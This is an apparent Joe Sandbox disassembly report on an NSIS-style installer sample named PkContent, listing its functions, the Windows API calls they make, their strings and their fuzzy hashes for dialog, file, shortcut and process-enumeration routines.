Associated: 00000000.00000002.1318000582.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318021031.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318021031.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318021031.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318021031.00000000004B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318147372.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318147372.00000000004F9000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318147372.00000000004FB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318147372.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318147372.0000000000505000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318147372.0000000000508000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318147372.000000000050C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318147372.000000000050E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PkContent.jbxd

Similarity

API ID: CallbackDispatcherUser
String ID:
API String ID: 2492992576-0
Opcode ID: 7b5b3f07ec4b69a7f183f6b544b36b38adf2938630adbd4e30d083ffe7510c70
Instruction ID: d14db2bc66c636a64d409f7b36464c270e9f3e97be8c2f7aaa1954d4611ec3db
Opcode Fuzzy Hash: 7b5b3f07ec4b69a7f183f6b544b36b38adf2938630adbd4e30d083ffe7510c70
Instruction Fuzzy Hash: 8DA01275005500DBCF014B40EF048067A61B7503007108478F1810003086310420EB08

Non-executed Functions

Function 0040497C Relevance: 65.2, APIs: 33, Strings: 4, Instructions: 470windowmemoryCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,000003F9), ref: 00404993
GetDlgItem.USER32(?,00000408), ref: 004049A0
GlobalAlloc.KERNEL32(00000040,?), ref: 004049EF
LoadBitmapW.USER32(0000006E), ref: 00404A02
SetWindowLongW.USER32(?,000000FC,Function_000048CC), ref: 00404A1C
ImageList_Create.COMCTL32(00000010,00000010,00000021,00000006,00000000), ref: 00404A2E
ImageList_AddMasked.COMCTL32(00000000,?,00FF00FF), ref: 00404A42
SendMessageW.USER32(?,00001109,00000002), ref: 00404A58
SendMessageW.USER32(?,0000111C,00000000,00000000), ref: 00404A64
SendMessageW.USER32(?,0000111B,00000010,00000000), ref: 00404A74
DeleteObject.GDI32(?), ref: 00404A79
SendMessageW.USER32(?,00000143,00000000,00000000), ref: 00404AA4
SendMessageW.USER32(?,00000151,00000000,00000000), ref: 00404AB0
SendMessageW.USER32(?,00001132,00000000,?), ref: 00404B51
SendMessageW.USER32(?,0000110A,00000003,00000110), ref: 00404B74
SendMessageW.USER32(?,00001132,00000000,?), ref: 00404B85
GetWindowLongW.USER32(?,000000F0), ref: 00404BAF
SetWindowLongW.USER32(?,000000F0,00000000), ref: 00404BBE
ShowWindow.USER32(?,00000005), ref: 00404BCF
SendMessageW.USER32(?,00000419,00000000,?), ref: 00404CCD
SendMessageW.USER32(?,00000147,00000000,00000000), ref: 00404D28
SendMessageW.USER32(?,00000150,00000000,00000000), ref: 00404D3D
SendMessageW.USER32(?,00000420,00000000,00000020), ref: 00404D61
SendMessageW.USER32(?,00000200,00000000,00000000), ref: 00404D87
ImageList_Destroy.COMCTL32(?), ref: 00404D9C
GlobalFree.KERNEL32(?), ref: 00404DAC
SendMessageW.USER32(?,0000014E,00000000,00000000), ref: 00404E1C
SendMessageW.USER32(?,00001102,?,?), ref: 00404ECA
SendMessageW.USER32(?,0000113F,00000000,00000008), ref: 00404ED9
InvalidateRect.USER32(?,00000000,00000001), ref: 00404EF9
ShowWindow.USER32(?,00000000), ref: 00404F49
GetDlgItem.USER32(?,000003FE), ref: 00404F54
ShowWindow.USER32(00000000), ref: 00404F5B

Strings

@, xrefs: 00404B90
, xrefs: 00404F39
N, xrefs: 00404C06
M, xrefs: 00404B43

Memory Dump Source

Source File: 00000000.00000002.1317975118.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1317956249.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318000582.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318021031.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318021031.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318021031.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318021031.00000000004B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318147372.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318147372.00000000004F9000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318147372.00000000004FB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318147372.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318147372.0000000000505000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318147372.0000000000508000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318147372.000000000050C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318147372.000000000050E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PkContent.jbxd

Similarity

API ID: MessageSend$Window$ImageItemList_LongShow$Global$AllocBitmapCreateDeleteDestroyFreeInvalidateLoadMaskedObjectRect
String ID: $ @$M$N
API String ID: 1638840714-3479655940
Opcode ID: 222e44079ed98782fbb34ec8da515d99173e785f6e02dcb26c66960398e67004
Instruction ID: e2b6c32447eba08f07ab18e4c0942225b167af9b9c7e550a0b0592367213937f
Opcode Fuzzy Hash: 222e44079ed98782fbb34ec8da515d99173e785f6e02dcb26c66960398e67004
Instruction Fuzzy Hash: 09026CB0900209AFEF209FA4CD45AAE7BB5FB84314F10413AF615B62E1D7B89D91DF58

Function 004044A5 Relevance: 33.6, APIs: 15, Strings: 4, Instructions: 300stringkeyboardCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,000003F0), ref: 004044F9
IsDlgButtonChecked.USER32(?,000003F0), ref: 00404507
GetDlgItem.USER32(?,000003FB), ref: 00404527
GetAsyncKeyState.USER32(00000010), ref: 0040452E
GetDlgItem.USER32(?,000003F0), ref: 00404543
ShowWindow.USER32(00000000,00000008,?,00000008,000000E0), ref: 00404554
SetWindowTextW.USER32(?,?), ref: 00404583
SHBrowseForFolderW.SHELL32(?), ref: 0040463D
lstrcmpiW.KERNEL32(00462540,00447240,00000000,?,?), ref: 0040467A
lstrcatW.KERNEL32(?,00462540), ref: 00404686
SetDlgItemTextW.USER32(?,000003FB,?), ref: 00404696
CoTaskMemFree.OLE32(00000000), ref: 00404648

Part of subcall function 00405C84: GetDlgItemTextW.USER32(00000001,00000001,00002004,00403F81), ref: 00405C97

Part of subcall function 00406038: CharNextW.USER32(?,*?|<>/":,00000000,004D70C8,004C30A0,004D70C8,00000000,004037D8,004D70C8,-00000002,00403A0B), ref: 0040609B
Part of subcall function 00406038: CharNextW.USER32(?,?,?,00000000), ref: 004060AA
Part of subcall function 00406038: CharNextW.USER32(?,004D70C8,004C30A0,004D70C8,00000000,004037D8,004D70C8,-00000002,00403A0B), ref: 004060AF
Part of subcall function 00406038: CharPrevW.USER32(?,?,004C30A0,004D70C8,00000000,004037D8,004D70C8,-00000002,00403A0B), ref: 004060C3

Part of subcall function 00403E74: lstrcatW.KERNEL32(00000000,00000000,0046A560,004C70A8,install.log,00405A9C,004C70A8,004C70A8,004D30C0,00447240,80000001,Control Panel\Desktop\ResourceLocale,00000000,00447240,00000000,00000006), ref: 00403E8F

GetDiskFreeSpaceW.KERNEL32(00443238,?,?,0000040F,?,00443238,00443238,?,00000000,00443238,?,?,000003FB,?), ref: 00404759
MulDiv.KERNEL32(?,0000040F,00000400), ref: 00404774

Part of subcall function 00406805: GetVersion.KERNEL32(0043B228,?,00000000,00404FA9,0043B228,00000000,?,00000000,00000000), ref: 004068D6

SetDlgItemTextW.USER32(00000000,00000400,00409264), ref: 004047ED

Strings

82D, xrefs: 004046DB
@rD, xrefs: 00404610
@%F, xrefs: 00404674
A, xrefs: 00404636

Memory Dump Source

Source File: 00000000.00000002.1317975118.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1317956249.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318000582.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318021031.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318021031.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318021031.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318021031.00000000004B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318147372.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318147372.00000000004F9000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318147372.00000000004FB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318147372.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318147372.0000000000505000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318147372.0000000000508000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318147372.000000000050C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318147372.000000000050E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PkContent.jbxd

Similarity

API ID: Item$CharText$Next$FreeWindowlstrcat$AsyncBrowseButtonCheckedDiskFolderPrevShowSpaceStateTaskVersionlstrcmpi
String ID: 82D$@%F$@rD$A
API String ID: 3347642858-1086125096
Opcode ID: 41223eded68e0cc8c9bf9fa9bd2dae48608aba550ad56c91da83586f0d18507e
Instruction ID: 5c5d6a603380bcdbc7d7d35b60f5621b43697e5e98684918e033f9398a36e476
Opcode Fuzzy Hash: 41223eded68e0cc8c9bf9fa9bd2dae48608aba550ad56c91da83586f0d18507e
Instruction Fuzzy Hash: D1B1A4B1900209BBDB11AFA1CD85AAF7AB8EF45314F10847BF605B72D1D77C8A41CB59

Function 00406ED2 Relevance: 30.0, APIs: 14, Strings: 3, Instructions: 270filestringCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32(?,80000000,00000001,00000000,00000003,00000080,00000000), ref: 00406EF6
ReadFile.KERNEL32(00000000,?,0000000C,?,00000000), ref: 00406F30
ReadFile.KERNEL32(?,?,00000010,?,00000000), ref: 00406FA9
lstrcpynA.KERNEL32(?,?,00000005), ref: 00406FB5
lstrcmpA.KERNEL32(name,?), ref: 00406FC7
CloseHandle.KERNEL32(?), ref: 004071E6

Part of subcall function 004062A3: lstrlenW.KERNEL32(RMDir: RemoveDirectory invalid input(""),00406E79,RMDir: RemoveDirectory("%s"),?,?,?), ref: 004062B0
Part of subcall function 004062A3: wvsprintfW.USER32(00000000,?,?), ref: 004062C7

Strings

%s: failed opening file "%s", xrefs: 00406F0C
GetTTFNameString, xrefs: 00406F07
name, xrefs: 00406FBF

Memory Dump Source

Source File: 00000000.00000002.1317975118.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1317956249.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318000582.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318021031.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318021031.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318021031.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318021031.00000000004B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318147372.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318147372.00000000004F9000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318147372.00000000004FB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318147372.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318147372.0000000000505000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318147372.0000000000508000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318147372.000000000050C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318147372.000000000050E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PkContent.jbxd

Similarity

API ID: File$Read$CloseCreateHandlelstrcmplstrcpynlstrlenwvsprintf
String ID: %s: failed opening file "%s"$GetTTFNameString$name
API String ID: 1916479912-1189179171
Opcode ID: c1ee4f9d51a5711eefddbfc324bacbf89cb8dd321db642bada23a62a27e44b0a
Instruction ID: 34713ba181b26839f7619e948cf229fd8716e5ee99c03f3e8673f79b0d3e70cf
Opcode Fuzzy Hash: c1ee4f9d51a5711eefddbfc324bacbf89cb8dd321db642bada23a62a27e44b0a
Instruction Fuzzy Hash: 9091BF70D1412DAACF04EBA5DD909FEBBBAEF48301F00416AF592F72D0E6785A05DB64

Function 00406C9B Relevance: 29.9, APIs: 9, Strings: 8, Instructions: 190filestringCOMMON

Download Yara Rule

APIs

DeleteFileW.KERNEL32(?,?,004C30A0), ref: 00406CB8
lstrcatW.KERNEL32(0045C918,\*.*,0045C918,?,-00000002,004D70C8,?,004C30A0), ref: 00406D09
lstrcatW.KERNEL32(?,00408838,?,0045C918,?,-00000002,004D70C8,?,004C30A0), ref: 00406D29
lstrlenW.KERNEL32(?), ref: 00406D2C
FindFirstFileW.KERNEL32(0045C918,?), ref: 00406D40
FindNextFileW.KERNEL32(?,00000010,000000F2,?), ref: 00406E22
FindClose.KERNEL32(?), ref: 00406E33

Strings

\*.*, xrefs: 00406D03
RMDir: RemoveDirectory invalid input("%s"), xrefs: 00406E58
RMDir: RemoveDirectory failed("%s"), xrefs: 00406EB0
RMDir: RemoveDirectory("%s"), xrefs: 00406E6F
Delete: DeleteFile("%s"), xrefs: 00406DBC
Delete: DeleteFile on Reboot("%s"), xrefs: 00406DE0
Delete: DeleteFile failed("%s"), xrefs: 00406DFD
RMDir: RemoveDirectory on Reboot("%s"), xrefs: 00406E93

Memory Dump Source

Source File: 00000000.00000002.1317975118.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1317956249.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318000582.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318021031.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318021031.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318021031.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318021031.00000000004B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318147372.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318147372.00000000004F9000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318147372.00000000004FB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318147372.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318147372.0000000000505000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318147372.0000000000508000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318147372.000000000050C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318147372.000000000050E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PkContent.jbxd

Similarity

API ID: FileFind$lstrcat$CloseDeleteFirstNextlstrlen
String ID: Delete: DeleteFile failed("%s")$Delete: DeleteFile on Reboot("%s")$Delete: DeleteFile("%s")$RMDir: RemoveDirectory failed("%s")$RMDir: RemoveDirectory invalid input("%s")$RMDir: RemoveDirectory on Reboot("%s")$RMDir: RemoveDirectory("%s")$\*.*
API String ID: 2035342205-3294556389
Opcode ID: 15be8897d6e9b53d01f132332000c29bcd26e475d5c6b9324dd4f7514e94a53d
Instruction ID: 0ca3ec5a28b3c1cae8259a28e21d86b18febecd5c0179aed135e39ed79665852
Opcode Fuzzy Hash: 15be8897d6e9b53d01f132332000c29bcd26e475d5c6b9324dd4f7514e94a53d
Instruction Fuzzy Hash: 2D51E3315043056ADB20AB61CD46EAF37B89F81725F22803FF943751D2DB7C49A2DAAD

Function 00406805 Relevance: 21.2, APIs: 8, Strings: 4, Instructions: 212stringCOMMON

Download Yara Rule

APIs

GetVersion.KERNEL32(0043B228,?,00000000,00404FA9,0043B228,00000000,?,00000000,00000000), ref: 004068D6
GetSystemDirectoryW.KERNEL32(00462540,00002004), ref: 00406958

Part of subcall function 00406009: lstrcpynW.KERNEL32(?,?,00002004,004038F1,0046ADC0,NSIS Error), ref: 00406016

GetWindowsDirectoryW.KERNEL32(00462540,00002004), ref: 0040696B
lstrcatW.KERNEL32(00462540,\Microsoft\Internet Explorer\Quick Launch), ref: 004069E5
lstrlenW.KERNEL32(00462540,0043B228,?,00000000,00404FA9,0043B228,00000000,?,00000000,00000000), ref: 00406A47

Strings

\Microsoft\Internet Explorer\Quick Launch, xrefs: 004069DF
@%F, xrefs: 0040682C
@%F, xrefs: 00406A53
Software\Microsoft\Windows\CurrentVersion, xrefs: 00406926

Memory Dump Source

Source File: 00000000.00000002.1317975118.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1317956249.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318000582.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318021031.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318021031.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318021031.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318021031.00000000004B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318147372.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318147372.00000000004F9000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318147372.00000000004FB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318147372.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318147372.0000000000505000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318147372.0000000000508000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318147372.000000000050C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318147372.000000000050E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PkContent.jbxd

Similarity

API ID: Directory$SystemVersionWindowslstrcatlstrcpynlstrlen
String ID: @%F$@%F$Software\Microsoft\Windows\CurrentVersion$\Microsoft\Internet Explorer\Quick Launch
API String ID: 3581403547-784952888
Opcode ID: 5b9b76f287d52b653a8a41dc6b1224aada0ccbd74d66441f1f03372adecf381e
Instruction ID: 7881bd453c5698e0e02013fa1c3524f2cf467b60749c67c5a59258f73e57ab2a
Opcode Fuzzy Hash: 5b9b76f287d52b653a8a41dc6b1224aada0ccbd74d66441f1f03372adecf381e
Instruction Fuzzy Hash: F171F4B1A00215ABDB20AF28CD44A7E3771EF55314F12C03FE906B62E0E77C89A19B5D

Function 004024FB Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 133comCOMMON

Download Yara Rule

APIs

CoCreateInstance.OLE32(00409B24,?,00000001,00409B04,?), ref: 0040257E

Strings

CreateShortCut: out: "%s", in: "%s %s", icon: %s,%d, sw=%d, hk=%d, xrefs: 00402560

Memory Dump Source

Source File: 00000000.00000002.1317975118.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1317956249.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318000582.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318021031.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318021031.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318021031.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318021031.00000000004B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318147372.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318147372.00000000004F9000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318147372.00000000004FB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318147372.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318147372.0000000000505000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318147372.0000000000508000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318147372.000000000050C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318147372.000000000050E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PkContent.jbxd

Similarity

API ID: CreateInstance
String ID: CreateShortCut: out: "%s", in: "%s %s", icon: %s,%d, sw=%d, hk=%d
API String ID: 542301482-1377821865
Opcode ID: 0ddbb4256677b6c48083548557f3f7fdb52e2b2de327cf14ae3b1cdcca70b28b
Instruction ID: c24c797a6f187c751e7d972b1a807078ee58ffeb38f484aa28d094541f0f6205
Opcode Fuzzy Hash: 0ddbb4256677b6c48083548557f3f7fdb52e2b2de327cf14ae3b1cdcca70b28b
Instruction Fuzzy Hash: 02415E74A00205BFCF04EFA0CC99EAE7B79FF48314B20456AF915EB2E1C679A941CB54

Function 00402E18 Relevance: 1.5, APIs: 1, Instructions: 27fileCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNEL32(00000000,?,00000002), ref: 00402E27

Memory Dump Source

Source File: 00000000.00000002.1317975118.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1317956249.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318000582.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318021031.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318021031.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318021031.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318021031.00000000004B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318147372.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318147372.00000000004F9000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318147372.00000000004FB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318147372.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318147372.0000000000505000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318147372.0000000000508000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318147372.000000000050C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318147372.000000000050E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PkContent.jbxd

Similarity

API ID: FileFindFirst
String ID:
API String ID: 1974802433-0
Opcode ID: 005be0a9498432eb51f9697d6085e84733c01c19a866f8c94ce5140aa3afdc34
Instruction ID: b91193b5dd17d351e639dca097a4c2443a83fae7855d8014906372cda19badf2
Opcode Fuzzy Hash: 005be0a9498432eb51f9697d6085e84733c01c19a866f8c94ce5140aa3afdc34
Instruction Fuzzy Hash: 4EE06D32600204AFD700EB749D45ABE736CDF01329F20457BF146F20D1E6B89A41976A

Function 004063AC Relevance: 70.3, APIs: 29, Strings: 11, Instructions: 256libraryloadermemoryCOMMON

Download Yara Rule

APIs

GlobalAlloc.KERNEL32(00000040,00000FA0), ref: 004063BF
lstrlenW.KERNEL32(?), ref: 004063CC
GetVersionExW.KERNEL32(?), ref: 0040642A

Part of subcall function 0040602B: CharUpperW.USER32(?,00406401,?), ref: 00406031

LoadLibraryA.KERNEL32(PSAPI.DLL), ref: 00406469
GetProcAddress.KERNEL32(00000000,EnumProcesses), ref: 00406488
GetProcAddress.KERNEL32(00000000,EnumProcessModules), ref: 00406492
GetProcAddress.KERNEL32(00000000,GetModuleBaseNameW), ref: 0040649D
FreeLibrary.KERNEL32(00000000), ref: 004064D4
GlobalFree.KERNEL32(?), ref: 004064DD

Strings

Process32FirstW, xrefs: 004065BD
GetModuleBaseNameW, xrefs: 00406494
CreateToolhelp32Snapshot, xrefs: 004065B5
Module32FirstW, xrefs: 004065D3
Process32NextW, xrefs: 004065C8
EnumProcesses, xrefs: 00406482
EnumProcessModules, xrefs: 0040648A
Unknown, xrefs: 004064FC
Module32NextW, xrefs: 004065DE
PSAPI.DLL, xrefs: 00406464
Kernel32.DLL, xrefs: 0040659B

Memory Dump Source

Source File: 00000000.00000002.1317975118.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1317956249.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318000582.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318021031.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318021031.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318021031.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318021031.00000000004B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318147372.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318147372.00000000004F9000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318147372.00000000004FB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318147372.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318147372.0000000000505000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318147372.0000000000508000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318147372.000000000050C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318147372.000000000050E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PkContent.jbxd

Similarity

API ID: AddressProc$FreeGlobalLibrary$AllocCharLoadUpperVersionlstrlen
String ID: CreateToolhelp32Snapshot$EnumProcessModules$EnumProcesses$GetModuleBaseNameW$Kernel32.DLL$Module32FirstW$Module32NextW$PSAPI.DLL$Process32FirstW$Process32NextW$Unknown
API String ID: 20674999-2124804629
Opcode ID: a5c47c37ebb79c3570a5199304d67498c128a01cd5ae19e8b8640fa4b13707a3
Instruction ID: f5db07f83b48746be4b9c4f5c588c21b75103c60b5638216cabcef37c42edb4d
Opcode Fuzzy Hash: a5c47c37ebb79c3570a5199304d67498c128a01cd5ae19e8b8640fa4b13707a3
Instruction Fuzzy Hash: 38919331900219EBDF109FA4CD88AAFBBB8EF44741F11447BE546F6281DB388A51CF68

Function 004040B8 Relevance: 40.5, APIs: 20, Strings: 3, Instructions: 210windowstringCOMMON

Download Yara Rule

APIs

CheckDlgButton.USER32(?,-0000040A,00000001), ref: 0040416D
GetDlgItem.USER32(?,000003E8), ref: 00404181
